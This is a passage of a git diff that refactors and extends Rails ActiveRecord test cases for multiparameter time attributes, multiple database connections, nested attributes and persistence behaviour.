+    assert_equal 'companies_global', MyApplication::Business::Company.table_name, 'inferred table_name for ActiveRecord model in module without table_name_suffix'
+    assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Company.table_name, 'inferred table_name for ActiveRecord model in module with table_name_suffix'
+    assert_equal 'companies_suffixed', MyApplication::Business::Suffixed::Nested::Company.table_name, 'table_name for ActiveRecord model in nested module with a parent table_name_suffix'
+    assert_equal 'companies', MyApplication::Business::Suffixed::Firm.table_name, 'explicit table_name for ActiveRecord model in module with table_name_suffix should not be suffixed'
+  ensure
+    ActiveRecord::Base.table_name_suffix = ''
+    classes.each(&:reset_table_name)
+  end
+
   def test_compute_type_can_infer_class_name_of_sibling_inside_module
     old = ActiveRecord::Base.store_full_sti_class
     ActiveRecord::Base.store_full_sti_class = true
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
index ce21760645..ae18573126 100644
--- a/activerecord/test/cases/multiparameter_attributes_test.rb
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -5,16 +5,6 @@ require 'models/customer'
 class MultiParameterAttributeTest < ActiveRecord::TestCase
   fixtures :topics
 
-  def setup
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
-  def teardown
-    ActiveRecord::Base.default_timezone = :utc
-  end
-
   def test_multiparameter_attributes_on_date
     attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
     topic = Topic.find(1)
@@ -86,13 +76,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_no_date
@@ -152,13 +144,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
-      "written_on(5i)" => "12", "written_on(6i)" => "02"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+        "written_on(5i)" => "12", "written_on(6i)" => "02"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
@@ -180,6 +174,7 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
     topic.attributes = attributes
     assert_nil topic.written_on
   end
+
   def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
     attributes = {
       "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
@@ -191,93 +186,102 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time_with_utc
-    ActiveRecord::Base.default_timezone = :utc
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    with_timezone_config default: :utc do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
-    assert_equal Time.zone, topic.written_on.time_zone
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      Topic.reset_column_information
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+      assert_equal Time.zone, topic.written_on.time_zone
+    end
+  ensure
+    Topic.reset_column_information
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
+    with_timezone_config default: :local, aware_attributes: false, zone: -28800 do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    Topic.skip_time_zone_conversion_for_attributes = [:written_on]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+      Topic.reset_column_information
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
   ensure
     Topic.skip_time_zone_conversion_for_attributes = []
+    Topic.reset_column_information
   end
 
-  # Oracle, and Sybase do not have a TIME datatype.
-  unless current_adapter?(:OracleAdapter, :SybaseAdapter)
+  # Oracle does not have a TIME datatype.
+  unless current_adapter?(:OracleAdapter)
     def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
-      ActiveRecord::Base.time_zone_aware_attributes = true
-      ActiveRecord::Base.default_timezone = :utc
-      Time.zone = ActiveSupport::TimeZone[-28800]
+      with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+        Topic.reset_column_information
+        attributes = {
+          "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+          "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+        }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.zone.local(2000, 1, 1, 16, 24, 0), topic.bonus_time
+        assert_not topic.bonus_time.utc?
+      end
+    ensure
+      Topic.reset_column_information
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_empty_seconds
+    with_timezone_config default: :local do
       attributes = {
-        "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
-        "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
       }
       topic = Topic.find(1)
       topic.attributes = attributes
-      assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
-      assert topic.bonus_time.utc?
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
     end
   end
 
-  def test_multiparameter_attributes_on_time_with_empty_seconds
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-  end
-
-  def test_multiparameter_attributes_setting_time_attribute
-    return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
-
-    topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
-    assert_equal 1, topic.bonus_time.hour
-    assert_equal 5, topic.bonus_time.min
+  unless current_adapter? :OracleAdapter
+    def test_multiparameter_attributes_setting_time_attribute
+      topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+      assert_equal 1, topic.bonus_time.hour
+      assert_equal 5, topic.bonus_time.min
+    end
   end
 
   def test_multiparameter_attributes_setting_date_attribute
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index 2e386a172a..f9bc266e84 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -94,6 +94,13 @@ class MultipleDbTest < ActiveRecord::TestCase
   end
 
   unless in_memory_db?
+    def test_count_on_custom_connection
+      ActiveRecord::Base.remove_connection
+      assert_equal 1, College.count
+    ensure
+      ActiveRecord::Base.establish_connection :arunit
+    end
+
     def test_associations_should_work_when_model_has_no_connection
       begin
         ActiveRecord::Base.remove_connection
@@ -101,7 +108,7 @@ class MultipleDbTest < ActiveRecord::TestCase
           College.first.courses.first
         end
       ensure
-        ActiveRecord::Base.establish_connection 'arunit'
+        ActiveRecord::Base.establish_connection :arunit
       end
     end
   end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 2f89699df7..198cd6f341 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -11,25 +11,9 @@ require "models/owner"
 require "models/pet"
 require 'active_support/hash_with_indifferent_access'
 
-module AssertRaiseWithMessage
-  def assert_raise_with_message(expected_exception, expected_message)
-    begin
-      error_raised = false
-      yield
-    rescue expected_exception => error
-      error_raised = true
-      actual_message = error.message
-    end
-    assert error_raised
-    assert_equal expected_message, actual_message
-  end
-end
-
 class TestNestedAttributesInGeneral < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
-  def teardown
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  teardown do
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
   end
 
   def test_base_should_have_an_empty_nested_attributes_options
@@ -71,9 +55,10 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
   end
 
   def test_should_raise_an_ArgumentError_for_non_existing_associations
-    assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+    exception = assert_raise ArgumentError do
       Pirate.accepts_nested_attributes_for :honesty
     end
+    assert_equal "No association found for name `honesty'. Has it been defined yet?", exception.message
   end
 
   def test_should_disable_allow_destroy_by_default
@@ -213,17 +198,16 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase
 end
 
 class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
   def setup
     @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
   end
 
   def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
-    assert_raise_with_message ArgumentError, "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?" do
+    exception = assert_raise ArgumentError do
       Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
     end
+    assert_equal "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?", exception.message
   end
 
   def test_should_define_an_attribute_writer_method_for_the_association
@@ -275,9 +259,10 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
   end
 
   def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+    exception = assert_raise ActiveRecord::RecordNotFound do
       @pirate.ship_attributes = { :id => 1234567890 }
     end
+    assert_equal "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
   end
 
   def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -315,13 +300,13 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
   end
 
   def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc(&:empty?)
 
     @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: '1' })
 
     assert_equal @ship, @pirate.reload.ship
 
-    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+    Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc(&:empty?)
   end
 
   def test_should_also_work_with_a_HashWithIndifferentAccess
@@ -403,8 +388,6 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
 end
 
 class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
-  include AssertRaiseWithMessage
-
   def setup
     @ship = Ship.new(:name => 'Nights Dirty Lightning')
     @pirate = @ship.build_pirate(:catchphrase => 'Aye')
@@ -460,9 +443,10 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
   end
 
   def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}" do
+    exception = assert_raise ActiveRecord::RecordNotFound do
       @ship.pirate_attributes = { :id => 1234567890 }
     end
+    assert_equal "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}", exception.message
   end
 
   def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
@@ -510,12 +494,12 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
   end
 
   def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
-    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc(&:empty?)
 
     @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: '1' })
     assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload }
   ensure
-    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+    Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc(&:empty?)
   end
 
   def test_should_work_with_update_as_well
@@ -579,8 +563,6 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
 end
 
 module NestedAttributesOnACollectionAssociationTests
-  include AssertRaiseWithMessage
-
   def test_should_define_an_attribute_writer_method_for_the_association
     assert_respond_to @pirate, association_setter
   end
@@ -670,9 +652,10 @@ module NestedAttributesOnACollectionAssociationTests
   end
 
   def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
-    assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+    exception = assert_raise ActiveRecord::RecordNotFound do
       @pirate.attributes = { association_getter => [{ :id => 1234567890 }] }
     end
+    assert_equal "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
   end
 
   def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
@@ -689,7 +672,7 @@ module NestedAttributesOnACollectionAssociationTests
   end
 
   def test_should_not_assign_destroy_key_to_a_record
-    assert_nothing_raised ActiveRecord::UnknownAttributeError do
+    assert_nothing_raised ActiveModel::AttributeAssignment::UnknownAttributeError do
       @pirate.send(association_setter, { 'foo' => { '_destroy' => '0' }})
     end
   end
@@ -727,9 +710,10 @@ module NestedAttributesOnACollectionAssociationTests
     assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
     assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) }
 
-    assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+    exception = assert_raise ArgumentError do
       @pirate.send(association_setter, "foo")
     end
+    assert_equal 'Hash or Array expected, got String ("foo")', exception.message
   end
 
   def test_should_work_with_update_as_well
@@ -871,7 +855,7 @@ end
 
 module NestedAttributesLimitTests
   def teardown
-    Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+    Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc(&:empty?)
   end
 
   def test_limit_with_less_records
@@ -1053,4 +1037,21 @@ class TestHasManyAutosaveAssociationWhichItselfHasAutosaveAssociations < ActiveR
     ShipPart.create!(:ship => @ship, :name => "Stern")
     assert_no_queries { @ship.valid? }
   end
+
+  test "circular references do not perform unnecessary queries" do
+    ship = Ship.new(name: "The Black Rock")
+    part = ship.parts.build(name: "Stern")
+    ship.treasures.build(looter: part)
+
+    assert_queries 3 do
+      ship.save!
+    end
+  end
+
+  test "nested singular associations are validated" do
+    part = ShipPart.new(name: "Stern", ship_attributes: { name: nil })
+
+    assert_not part.valid?
+    assert_equal ["Ship name can't be blank"], part.errors.full_messages
+  end
 end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 30dc2a34c6..2803ad2de0 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/aircraft'
 require 'models/post'
 require 'models/comment'
 require 'models/author'
@@ -7,6 +8,7 @@ require 'models/reply'
 require 'models/category'
 require 'models/company'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/minimalistic'
 require 'models/warehouse_thing'
@@ -19,7 +21,7 @@ require 'models/toy'
 require 'rexml/document'
 
 class PersistenceTest < ActiveRecord::TestCase
-  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans, :pets, :toys
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :author_addresses, :categorizations, :categories, :posts, :minivans, :pets, :toys
 
   # Oracle UPDATE does not support ORDER BY
   unless current_adapter?(:OracleAdapter)
@@ -125,7 +127,7 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_difference('Topic.count', -topics_by_mary.size) do
       destroyed = Topic.destroy_all(conditions).sort_by(&:id)
       assert_equal topics_by_mary, destroyed
-      assert destroyed.all? { |topic| topic.frozen? }, "destroyed topics should be frozen"
+      assert destroyed.all?(&:frozen?), "destroyed topics should be frozen"
     end
   end
 
@@ -135,7 +137,7 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_difference('Client.count', -2) do
       destroyed = Client.destroy([2, 3]).sort_by(&:id)
       assert_equal clients, destroyed
-      assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+      assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
     end
   end
 
@@ -152,6 +154,20 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_equal original_errors, client.errors
   end
 
+  def test_dupd_becomes_persists_changes_from_the_original
+    original = topics(:first)
+    copy = original.dup.becomes(Reply)
+    copy.save!
+    assert_equal "The First Topic", Topic.find(copy.id).title
+  end
+
+  def test_becomes_includes_changed_attributes
+    company = Company.new(name: "37signals")
+    client = company.becomes(Client)
+    assert_equal "37signals", client.name
+    assert_equal %w{name}, client.changed
+  end
+
   def test_delete_many
     original_count = Topic.count
     Topic.delete(deleting = [1, 2])
@@ -219,6 +235,15 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_nothing_raised { Minimalistic.create!(:id => 2) }
   end
 
+  def test_save_with_duping_of_destroyed_object
+    developer = Developer.first
+    developer.destroy
+    new_developer = developer.dup
+    new_developer.save
+    assert new_developer.persisted?
+    assert_not new_developer.destroyed?
+  end
+
   def test_create_many
     topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
     assert_equal 2, topics.size
@@ -226,7 +251,7 @@ class PersistenceTest < ActiveRecord::TestCase
   end
 
   def test_create_columns_not_equal_attributes
-    topic = Topic.allocate.init_with(
+    topic = Topic.instantiate(
       'attributes' => {
         'title'          => 'Another New Topic',
         'does_not_exist' => 'test'
@@ -276,10 +301,7 @@ class PersistenceTest < ActiveRecord::TestCase
     topic.title = "Still another topic"
     topic.save
 
-    topic_reloaded = Topic.allocate
-    topic_reloaded.init_with(
-      'attributes' => topic.attributes.merge('does_not_exist' => 'test')
-    )
+    topic_reloaded = Topic.instantiate(topic.attributes.merge('does_not_exist' => 'test'))
     topic_reloaded.title = 'A New Topic'
     assert_nothing_raised { topic_reloaded.save }
   end
@@ -309,6 +331,15 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_equal "Reply", topic.type
   end
 
+  def test_update_sti_subclass_type
+    assert_instance_of Topic, topics(:first)
+
+    reply = topics(:first).becomes!(Reply)
+    assert_instance_of Reply, reply
+    reply.save!
+    assert_instance_of Reply, Reply.find(reply.id)
+  end
+
   def test_update_after_create
     klass = Class.new(Topic) do
       def self.name; 'Topic'; end
@@ -325,6 +356,16 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_equal("David", topic_reloaded.author_name)
   end
 
+  def test_update_attribute_does_not_run_sql_if_attribute_is_not_changed
+    klass = Class.new(Topic) do
+      def self.name; 'Topic'; end
+    end
+    topic = klass.create(title: 'Another New Topic')
+    assert_queries(0) do
+      topic.update_attribute(:title, 'Another New Topic')
+    end
+  end
+
   def test_delete
     topic = Topic.find(1)
     assert_equal topic, topic.delete, 'topic.delete did not return self'
@@ -419,10 +460,6 @@ class PersistenceTest < ActiveRecord::TestCase
     assert !Topic.find(1).approved?
   end
 
-  def test_update_attribute_does_not_choke_on_nil
-    assert Topic.find(1).update(nil)
-  end
-
   def test_update_attribute_for_readonly_attribute
     minivan = Minivan.find('m1')
     assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
@@ -442,7 +479,7 @@ class PersistenceTest < ActiveRecord::TestCase
 
   def test_update_attribute_for_updated_at_on
     developer = Developer.find(1)
-    prev_month = Time.now.prev_month
+    prev_month = Time.now.prev_month.change(usec: 0)
 
     developer.update_attribute(:updated_at, prev_month)
     assert_equal prev_month, developer.updated_at
@@ -485,14 +522,14 @@ class PersistenceTest < ActiveRecord::TestCase
 
   def test_update_column_should_not_leave_the_object_dirty
     topic = Topic.find(1)
-    topic.update_column("content", "Have a nice day")
+    topic.update_column("content", "--- Have a nice day\n...\n")
 
     topic.reload
-    topic.update_column(:content, "You too")
+    topic.update_column(:content, "--- You too\n...\n")
     assert_equal [], topic.changed
 
     topic.reload
-    topic.update_column("content", "Have a nice day")
+    topic.update_column("content", "--- Have a nice day\n...\n")
     assert_equal [], topic.changed
   end
 
@@ -513,7 +550,7 @@ class PersistenceTest < ActiveRecord::TestCase
 
   def test_update_column_should_not_modify_updated_at
     developer = Developer.find(1)
-    prev_month = Time.now.prev_month
+    prev_month = Time.now.prev_month.change(usec: 0)
 
     developer.update_column(:updated_at, prev_month)
     assert_equal prev_month, developer.updated_at
@@ -576,14 +613,14 @@ class PersistenceTest < ActiveRecord::TestCase
 
   def test_update_columns_should_not_leave_the_object_dirty
     topic = Topic.find(1)
-    topic.update({ "content" => "Have a nice day", :author_name => "Jose" })
+    topic.update({ "content" => "--- Have a nice day\n...\n", :author_name => "Jose" })
 
     topic.reload
-    topic.update_columns({ content: "You too", "author_name" => "Sebastian" })
+    topic.update_columns({ content: "--- You too\n...\n", "author_name" => "Sebastian" })
     assert_equal [], topic.changed
 
     topic.reload
-    topic.update_columns({ content: "Have a nice day", author_name: "Jose" })
+    topic.update_columns({ content: "--- Have a nice day\n...\n", author_name: "Jose" })
     assert_equal [], topic.changed
   end
 
@@ -610,7 +647,7 @@ class PersistenceTest < ActiveRecord::TestCase
 
   def test_update_columns_should_not_modify_updated_at
     developer = Developer.find(1)
-    prev_month = Time.now.prev_month
+    prev_month = Time.now.prev_month.change(usec: 0)
 
     developer.update_columns(updated_at: prev_month)
     assert_equal prev_month, developer.updated_at
@@ -701,6 +738,17 @@ class PersistenceTest < ActiveRecord::TestCase
     assert_equal topic.title, Topic.find(1234).title
   end
 
+  def test_update_attributes_parameters
+    topic = Topic.find(1)
+    assert_nothing_raised do
+      topic.update_attributes({})
+    end
+
+    assert_raises(ArgumentError) do
+      topic.update_attributes(nil)
+    end
+  end
+
   def test_update!
     Reply.validates_presence_of(:title)
     reply = Reply.find(2)
@@ -719,7 +767,7 @@ class PersistenceTest < ActiveRecord::TestCase
 
     assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
   ensure
-    Reply.reset_callbacks(:validate)
+    Reply.clear_validators!
   end
 
   def test_update_attributes!
@@ -740,7 +788,7 @@ class PersistenceTest < ActiveRecord::TestCase
 
     assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
   ensure
-    Reply.reset_callbacks(:validate)
+    Reply.clear_validators!
   end
 
   def test_destroyed_returns_boolean
@@ -799,4 +847,78 @@ class PersistenceTest < ActiveRecord::TestCase
     end
   end
 
+  def test_persist_inherited_class_with_different_table_name
+    minimalistic_aircrafts = Class.new(Minimalistic) do
+      self.table_name = "aircraft"
+    end
+
+    assert_difference "Aircraft.count", 1 do
+      aircraft = minimalistic_aircrafts.create(name: "Wright Flyer")
+      aircraft.name = "Wright Glider"
+      aircraft.save
+    end
+
+    assert_equal "Wright Glider", Aircraft.last.name
+  end
+
+  def test_instantiate_creates_a_new_instance
+    post = Post.instantiate("title" => "appropriate documentation", "type" => "SpecialPost")
+    assert_equal "appropriate documentation", post.title
+    assert_instance_of SpecialPost, post
+
+    # body was not initialized
+    assert_raises ActiveModel::MissingAttributeError do
+      post.body
+    end
+  end
+
+  def test_reload_removes_custom_selects
+    post = Post.select('posts.*, 1 as wibble').last!
+
+    assert_equal 1, post[:wibble]
+    assert_nil post.reload[:wibble]
+  end
+
+  def test_find_via_reload
+    post = Post.new
+
+    assert post.new_record?
+
+    post.id = 1
+    post.reload
+
+    assert_equal "Welcome to the weblog", post.title
+    assert_not post.new_record?
+  end
+
+  class SaveTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    def test_save_touch_false
+      widget = Class.new(ActiveRecord::Base) do
+        connection.create_table :widgets, force: true do |t|
+          t.string :name
+          t.timestamps null: false
+        end
+
+        self.table_name = :widgets
+      end
+
+      instance  = widget.create!({
+        name: 'Bob',
+        created_at: 1.day.ago,
+        updated_at: 1.day.ago
+      })
+
+      created_at = instance.created_at
+      updated_at = instance.updated_at
+
+      instance.name = 'Barb'
+      instance.save!(touch: false)
+      assert_equal instance.created_at, created_at
+      assert_equal instance.updated_at, updated_at
+    ensure
+      ActiveRecord::Base.connection.drop_table :widgets
+    end
+  end
 end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index 626c6aeaf8..287a3f33ea 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -10,10 +10,10 @@ class PooledConnectionsTest < ActiveRecord::TestCase
     @connection = ActiveRecord::Base.remove_connection
   end
 
-  def teardown
+  teardown do
     ActiveRecord::Base.clear_all_connections!
